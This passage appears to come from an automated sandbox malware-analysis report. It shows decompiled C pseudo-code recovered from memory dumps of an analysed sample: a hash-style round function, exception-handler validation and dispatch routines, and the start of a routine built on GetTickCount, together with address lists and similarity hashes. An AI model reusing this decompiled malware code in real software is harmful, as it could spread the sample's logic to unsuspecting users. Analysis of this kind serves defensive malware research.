				_t375 = (_t337 ^ _t247) + _v36 + _t727 - 0x41404390 + _t427;
				asm("rol eax, 0x4");
				_t249 = (_t337 ^ _t375) + _v24 + _t247 + 0x289b7ec6 + _t375;
				asm("rol esi, 0xb");
				_t733 = (_t427 ^ _t375 ^ _t249) + _v76 + _t606 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t612 = (_t733 ^ _t375 ^ _t249) + _v64 + _t427 - 0x2b10cf7b + _t733;
				_t429 = _t733 ^ _t612;
				asm("ror ecx, 0x9");
				_t377 = (_t429 ^ _t249) + _v52 + _t375 + 0x4881d05 + _t612;
				asm("rol eax, 0x4");
				_t251 = (_t429 ^ _t377) + _v40 + _t249 - 0x262b2fc7 + _t377;
				asm("rol edx, 0xb");
				_t437 = (_t612 ^ _t377 ^ _t251) + _v28 + _t733 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t739 = (_t437 ^ _t377 ^ _t251) + _v16 + _t612 + 0x1fa27cf8 + _t437;
				asm("ror ecx, 0x9");
				_t379 = (_t437 ^ _t739 ^ _t251) + _v68 + _t377 - 0x3b53a99b + _t739;
				asm("rol eax, 0x6");
				_t253 = (( !_t437 | _t379) ^ _t739) + _v76 + _t251 - 0xbd6ddbc + _t379;
				asm("rol edx, 0xa");
				_t439 = (( !_t739 | _t253) ^ _t379) + _v48 + _t437 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t741 = (( !_t379 | _t439) ^ _t253) + _v20 + _t739 - 0x546bdc59 + _t439;
				asm("ror ecx, 0xb");
				_t381 = (( !_t253 | _t741) ^ _t439) + _v56 + _t379 - 0x36c5fc7 + _t741;
				asm("rol eax, 0x6");
				_t255 = (( !_t439 | _t381) ^ _t741) + _v28 + _t253 + 0x655b59c3 + _t381;
				asm("rol edx, 0xa");
				_t441 = (( !_t741 | _t255) ^ _t381) + _v64 + _t439 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t743 = (( !_t381 | _t441) ^ _t255) + _v36 + _t741 - 0x100b83 + _t441;
				asm("ror ecx, 0xb");
				_t383 = (( !_t255 | _t743) ^ _t441) + _v72 + _t381 - 0x7a7ba22f + _t743;
				asm("rol eax, 0x6");
				_t257 = (( !_t441 | _t383) ^ _t743) + _v44 + _t255 + 0x6fa87e4f + _t383;
				asm("rol edx, 0xa");
				_t443 = (( !_t743 | _t257) ^ _t383) + _v16 + _t441 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t745 = (( !_t383 | _t443) ^ _t257) + _v52 + _t743 - 0x5cfebcec + _t443;
				asm("ror edi, 0xb");
				_t678 = (( !_t257 | _t745) ^ _t443) + _v24 + _t383 + 0x4e0811a1 + _t745;
				asm("rol eax, 0x6");
				_t259 = (( !_t443 | _t678) ^ _t745) + _v60 + _t257 - 0x8ac817e + _t678;
				asm("rol edx, 0xa");
				_t445 = (( !_t745 | _t259) ^ _t678) + _v32 + _t443 - 0x42c50dcb + _t259;
				_t399 = _a4;
				asm("rol esi, 0xf");
				_t747 = (( !_t678 | _t445) ^ _t259) + _v68 + _t745 + 0x2ad7d2bb + _t445;
				 *_t399 =  *_t399 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t399 + 4)) = (( !_t259 | _t747) ^ _t445) + _v40 + _t678 - 0x14792c6f +  *((intOrPtr*)(_t399 + 4)) + _t747;
				 *((intOrPtr*)(_t399 + 8)) =  *((intOrPtr*)(_t399 + 8)) + _t747;
				 *((intOrPtr*)(_t399 + 0xc)) =  *((intOrPtr*)(_t399 + 0xc)) + _t445;
				return memset( &_v76, 0, 0x40);
			}

0x04a88537
0x04a88542
0x04a88545
0x04a88548
0x04a88549
0x04a88549
0x04a88554
0x04a88565
0x04a88567
0x04a8856a
0x04a8856a
0x04a8856d
0x04a8856d
0x04a88570
0x04a88570
0x04a88573
0x04a88573
0x04a88590
0x04a88593
0x04a885a9
0x04a885ac
0x04a885c6
0x04a885c9
0x04a885df
0x04a885e2
0x04a885e4
0x04a885fc
0x04a885ff
0x04a88602
0x04a8861a
0x04a8861d
0x04a88637
0x04a8863a
0x04a88650
0x04a88653
0x04a88655
0x04a8866d
0x04a88672
0x04a88675
0x04a8868b
0x04a8868e
0x04a886a8
0x04a886ab
0x04a886c1
0x04a886c4
0x04a886c6
0x04a886e1
0x04a886e4
0x04a886fb
0x04a886fe
0x04a88702
0x04a8871b
0x04a8871e
0x04a88720
0x04a88723
0x04a8873e
0x04a88741
0x04a8875a
0x04a8875d
0x04a8876d
0x04a88770
0x04a88788
0x04a8878b
0x04a887a5
0x04a887a8
0x04a887c0
0x04a887c3
0x04a887d9
0x04a887dc
0x04a887f4
0x04a887f7
0x04a8880f
0x04a88812
0x04a8882c
0x04a8882f
0x04a88845
0x04a88848
0x04a88860
0x04a88863
0x04a8887d
0x04a88880
0x04a88898
0x04a8889b
0x04a888b1
0x04a888b4
0x04a888cc
0x04a888cf
0x04a888e7
0x04a888ea
0x04a888fc
0x04a888ff
0x04a88911
0x04a88914
0x04a88926
0x04a88929
0x04a8892d
0x04a8893d
0x04a88940
0x04a8894e
0x04a88951
0x04a88963
0x04a88966
0x04a8897a
0x04a8897d
0x04a8897f
0x04a8898f
0x04a88992
0x04a889a4
0x04a889a7
0x04a889b5
0x04a889b8
0x04a889ca
0x04a889cd
0x04a889d1
0x04a889e1
0x04a889e4
0x04a889f6
0x04a889f9
0x04a88a07
0x04a88a0a
0x04a88a1c
0x04a88a1f
0x04a88a31
0x04a88a34
0x04a88a48
0x04a88a4b
0x04a88a5f
0x04a88a62
0x04a88a76
0x04a88a79
0x04a88a8d
0x04a88a90
0x04a88aa4
0x04a88aa7
0x04a88abb
0x04a88ac0
0x04a88ad2
0x04a88ad5
0x04a88ae9
0x04a88aec
0x04a88b00
0x04a88b03
0x04a88b19
0x04a88b1c
0x04a88b30
0x04a88b33
0x04a88b45
0x04a88b48
0x04a88b5c
0x04a88b5f
0x04a88b73
0x04a88b76
0x04a88b8a
0x04a88b93
0x04a88b96
0x04a88b9f
0x04a88ba8
0x04a88bb0
0x04a88bb8
0x04a88bc2
0x04a88bd7

APIs

memset.NTDLL ref: 04A88BCB

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: f1002a26c9791f8d0a7f6aae22cd3a0d2a0608320ceae70835a76e74819a96e7
Instruction ID: 779e0bb1eaf858915138a3d3c5cee3d71d295b8cd7b8d287187f638650530a35
Opcode Fuzzy Hash: f1002a26c9791f8d0a7f6aae22cd3a0d2a0608320ceae70835a76e74819a96e7
Instruction Fuzzy Hash: 4322747BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 04A8B2CD, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A8B2CD(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x4a8d2d8; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x4a8d320 = 1;
										__eflags =  *0x4a8d320;
										if( *0x4a8d320 != 0) {
											goto L60;
										}
										_t84 =  *0x4a8d2d8; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x4a8d320 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x4a8d2d8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x4a8d2e0 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x4a8d2dc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x4a8d2e0 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x4a8d2e0 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x4a8d320 = 1;
							__eflags =  *0x4a8d320;
							if( *0x4a8d320 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x4a8d2e0 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x4a8d2e0 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x4a8d320 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x4a8d2e0 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x4a8d2d8 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x4a8d2e0 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x4a8d2e0 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x04a8b2d7
0x04a8b2da
0x04a8b2e0
0x04a8b2fe
0x00000000
0x04a8b2fe
0x04a8b2e8
0x04a8b2f1
0x04a8b2f7
0x04a8b306
0x04a8b309
0x04a8b30c
0x04a8b316
0x04a8b316
0x04a8b318
0x04a8b31b
0x04a8b31d
0x04a8b31d
0x04a8b31f
0x04a8b322
0x00000000
0x00000000
0x04a8b324
0x04a8b326
0x04a8b38c
0x04a8b38c
0x04a8b4ea
0x00000000
0x04a8b4ea
0x04a8b328
0x04a8b328
0x04a8b32c
0x04a8b32e
0x04a8b32e
0x04a8b32e
0x04a8b32e
0x04a8b331
0x04a8b332
0x04a8b335
0x04a8b335
0x04a8b339
0x04a8b33d
0x04a8b34b
0x04a8b34b
0x04a8b353
0x04a8b359
0x04a8b35b
0x04a8b35d
0x04a8b36d
0x04a8b37a
0x04a8b37e
0x04a8b383
0x04a8b385
0x04a8b403
0x04a8b403
0x04a8b387
0x04a8b387
0x04a8b387
0x04a8b405
0x04a8b407
0x04a8b4e8
0x04a8b4e8
0x00000000
0x04a8b40d
0x04a8b40d
0x04a8b414
0x00000000
0x00000000
0x04a8b41a
0x04a8b41e
0x04a8b47a
0x04a8b47c
0x04a8b484
0x04a8b486
0x04a8b488
0x00000000
0x00000000
0x04a8b48a
0x04a8b490
0x04a8b492
0x04a8b494
0x04a8b4a9
0x04a8b4a9
0x04a8b4ab
0x04a8b4da
0x04a8b4e1
0x00000000
0x04a8b4e1
0x04a8b4af
0x04a8b4b0
0x04a8b4b2
0x04a8b4b4
0x04a8b4b4
0x04a8b4b6
0x04a8b4b8
0x04a8b4ba
0x04a8b4ce
0x04a8b4ce
0x04a8b4d1
0x04a8b4d3
0x04a8b4d3
0x04a8b4d4
0x04a8b4d4
0x00000000
0x04a8b4bc
0x04a8b4bc
0x04a8b4bc
0x04a8b4c5
0x04a8b4c6
0x04a8b4c8
0x04a8b4ca
0x04a8b4ca
0x00000000
0x04a8b4bc
0x04a8b4ba
0x04a8b496
0x04a8b49d
0x04a8b49d
0x04a8b49f
0x00000000
0x00000000
0x04a8b4a1
0x04a8b4a2
0x04a8b4a5
0x04a8b4a7
0x00000000
0x00000000
0x00000000
0x04a8b4a7
0x00000000
0x04a8b49d
0x04a8b420
0x04a8b423
0x04a8b428
0x00000000
0x00000000
0x04a8b431
0x04a8b433
0x04a8b439
0x00000000
0x00000000
0x04a8b43f
0x04a8b445
0x00000000
0x00000000
0x04a8b44b
0x04a8b44d
0x04a8b456
0x04a8b45a
0x00000000
0x00000000
0x04a8b460
0x04a8b463
0x04a8b465
0x00000000
0x00000000
0x04a8b46c
0x04a8b46e
0x00000000
0x00000000
0x04a8b470
0x04a8b474
0x00000000
0x00000000
0x00000000
0x04a8b474
0x00000000
0x00000000
0x00000000
0x04a8b35f
0x04a8b35f
0x04a8b35f
0x04a8b366
0x00000000
0x00000000
0x04a8b368
0x04a8b369
0x04a8b36b
0x00000000
0x00000000
0x00000000
0x04a8b36b
0x04a8b393
0x04a8b395
0x00000000
0x00000000
0x04a8b3a5
0x04a8b3a7
0x04a8b3a9
0x00000000
0x00000000
0x04a8b3af
0x04a8b3b6
0x04a8b3e2
0x04a8b3e2
0x04a8b3e4
0x04a8b3e6
0x04a8b3fa
0x04a8b3fc
0x00000000
0x00000000
0x00000000
0x00000000
0x04a8b3e8
0x04a8b3e8
0x04a8b3e8
0x04a8b3f1
0x04a8b3f2
0x04a8b3f4
0x04a8b3f6
0x04a8b3f6
0x00000000
0x04a8b3e8
0x04a8b3b8
0x04a8b3b8
0x04a8b3bb
0x04a8b3bd
0x04a8b3cf
0x04a8b3cf
0x04a8b3d2
0x04a8b3d4
0x04a8b3d4
0x04a8b3d5
0x04a8b3d5
0x04a8b3db
0x04a8b3db
0x00000000
0x00000000
0x00000000
0x00000000
0x04a8b3bf
0x04a8b3bf
0x04a8b3bf
0x04a8b3c6
0x00000000
0x00000000
0x04a8b3c8
0x04a8b3c8
0x04a8b3c9
0x00000000
0x00000000
0x00000000
0x04a8b3c9
0x04a8b3cb
0x04a8b3cd
0x04a8b3e0
0x00000000
0x00000000
0x00000000
0x04a8b3e0
0x00000000
0x04a8b3cd
0x04a8b33f
0x04a8b342
0x04a8b345
0x00000000
0x00000000
0x04a8b347
0x04a8b349
0x00000000
0x00000000
0x00000000
0x04a8b349
0x04a8b30e
0x04a8b310
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 04A8B37E

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 401290bd02a32b81a1d54dd23da09ab402eba58ca418040438bebbb01ad61940
Instruction ID: 3379e5bd61b880da7d0609c01f402a7a1c2572411383d9da16c13978acd1eb32
Opcode Fuzzy Hash: 401290bd02a32b81a1d54dd23da09ab402eba58ca418040438bebbb01ad61940
Instruction Fuzzy Hash: C161D330B006059FEB25FF29C9D16A973A5EB85364B24842DF916CB691F730F842C774

Uniqueness

Uniqueness Score: -1.00%

Function 0493009C, Relevance: 1.6, Strings: 1, Instructions: 346COMMON

Download Yara Rule

Strings

t32c, xrefs: 04930586

Memory Dump Source

Source File: 00000001.00000002.484369961.0000000004930000.00000040.00000001.sdmp, Offset: 04930000, based on PE: false

Similarity

API ID:
String ID: t32c
API String ID: 0-3674199949
Opcode ID: f2ebc4c6a48cfe5601a6ace997b79ecf8ae29c40ddede3ccd54cfb746bfe7157
Instruction ID: 46436f262a391e4aee484a823d5744bb4c4e670bf9f637c0568c4a54fd528c8b
Opcode Fuzzy Hash: f2ebc4c6a48cfe5601a6ace997b79ecf8ae29c40ddede3ccd54cfb746bfe7157
Instruction Fuzzy Hash: FBD1F676A00219DFDF24CF94CC80BAAB7BAFF8A315F1482A5D509AB115D330AE85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 049303AC, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.484369961.0000000004930000.00000040.00000001.sdmp, Offset: 04930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03878353c38bb053fef0567d2f1903d33a8bc55c5f329362ce4d1c21dfb157c7
Instruction ID: 30c7729d9e33a9c69189bfe6596264ca3f9712c02d1fba3c3b68c287d141ab54
Opcode Fuzzy Hash: 03878353c38bb053fef0567d2f1903d33a8bc55c5f329362ce4d1c21dfb157c7
Instruction Fuzzy Hash: 85412E72A00219DFDF20CF44C880BA9B7BAFB46315F5985A5D8496721AE330FA85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 04930476, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.484369961.0000000004930000.00000040.00000001.sdmp, Offset: 04930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 394b649e328b1df1404da37bd1b9a63264ebc17e19e9de328f3921affac317c7
Instruction ID: e3514c1172d017e3290d0a6426807b8d92e94537215ed6d4a6a8d9681aacccbd
Opcode Fuzzy Hash: 394b649e328b1df1404da37bd1b9a63264ebc17e19e9de328f3921affac317c7
Instruction Fuzzy Hash: C0312876A00219DFDF24CF54C880B69B7B6FF8A710F1985A4D9496B219D330F941CF81

Uniqueness

Uniqueness Score: -1.00%

Function 04A8B0AC, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E04A8B0AC(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E04A8B213(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E04A8B2CD(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E04A8B1B8(_t55, _t66);
										_t89 = _t66 + 0x10;
										E04A8B213(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E04A8B2AF(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x04a8b0b0
0x04a8b0b1
0x04a8b0b2
0x04a8b0b5
0x04a8b0b7
0x04a8b0ba
0x04a8b0bb
0x04a8b0bd
0x04a8b0be
0x04a8b0bf
0x04a8b0c2
0x04a8b0cc
0x04a8b17d
0x04a8b184
0x04a8b18d
0x04a8b0d2
0x04a8b0d2
0x04a8b0d8
0x04a8b0de
0x04a8b0e1
0x04a8b0e4
0x04a8b0e8
0x04a8b0ed
0x04a8b0f2
0x04a8b172
0x00000000
0x04a8b0f4
0x04a8b0f4
0x04a8b100
0x04a8b102
0x04a8b15d
0x04a8b15d
0x04a8b163
0x00000000
0x04a8b104
0x04a8b113
0x04a8b115
0x04a8b116
0x04a8b117
0x04a8b11a
0x04a8b11a
0x04a8b11c
0x00000000
0x04a8b11e
0x04a8b11e
0x04a8b168
0x04a8b120
0x04a8b120
0x04a8b124
0x04a8b12c
0x04a8b131
0x04a8b136
0x04a8b142
0x04a8b14a
0x04a8b151
0x04a8b157
0x04a8b15b
0x00000000
0x04a8b15b
0x04a8b11e
0x04a8b11c
0x00000000
0x04a8b102
0x04a8b176
0x04a8b176
0x04a8b176
0x04a8b0f2
0x04a8b192
0x04a8b199

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: c97b16cbfb50048ac675b37b0f4b20375f1c35eede5e99be5aa594bd1dd601c5
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 7821A4729012059FDB24EF68C8809ABB7A5FF45350B05816DE9559F249E730F915C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 04930066, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.484369961.0000000004930000.00000040.00000001.sdmp, Offset: 04930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d6af18e62d48141748dec560edc45937fa8636c77b1ce60b66d1111b4985eae
Instruction ID: 48ecb0119360c2cf02584a7dd325e82a54f0792c686e397cc8a67155876b7d7e
Opcode Fuzzy Hash: 6d6af18e62d48141748dec560edc45937fa8636c77b1ce60b66d1111b4985eae
Instruction Fuzzy Hash: B8E0B6B1A00118EEEF15CA40CC40FF6B7BDEBC9700F0481D6A60CAA150D6306E848F60

Uniqueness

Uniqueness Score: -1.00%

Function 0493029D, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.484369961.0000000004930000.00000040.00000001.sdmp, Offset: 04930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 981ae7a2e560dead5f088f94c0b916592ccfa2d749defbc40be1ee7aea399cb3
Instruction ID: e029e2ac4c4b670adb365ef119e5bb3f55506d0577f63a20171dd516b7731689
Opcode Fuzzy Hash: 981ae7a2e560dead5f088f94c0b916592ccfa2d749defbc40be1ee7aea399cb3
Instruction Fuzzy Hash: 5AD09235E0026C9FCF20CA50C810BAAF3B6BF8A351F5500D9D8083720487303E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04A83D57, Relevance: 34.7, APIs: 23, Instructions: 204
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E04A83D57(long __eax, void* __ecx, void* __edx, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				long _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t34;
				intOrPtr _t35;
				int _t38;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t51;
				intOrPtr _t55;
				intOrPtr* _t57;
				intOrPtr _t63;
				intOrPtr _t65;
				intOrPtr _t71;
				intOrPtr _t74;
				intOrPtr _t77;
				int _t80;
				intOrPtr _t81;
				int _t84;
				intOrPtr _t86;
				int _t89;
				intOrPtr* _t92;
				intOrPtr* _t93;
				void* _t94;
				void* _t98;
				void* _t99;
				void* _t100;
				intOrPtr _t101;
				void* _t103;
				int _t104;
				void* _t105;
				void* _t106;
				void* _t108;
				void* _t109;
				void* _t111;

				_t98 = __edx;
				_t94 = __ecx;
				_t26 = __eax;
				_t108 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t26 = GetTickCount();
				}
				_t27 =  *0x4a8d018; // 0x5a7656d8
				asm("bswap eax");
				_t28 =  *0x4a8d014; // 0x3a87c8cd
				asm("bswap eax");
				_t29 =  *0x4a8d010; // 0xd8d2f808
				asm("bswap eax");
				_t30 =  *0x4a8d00c; // 0x62819102
				asm("bswap eax");
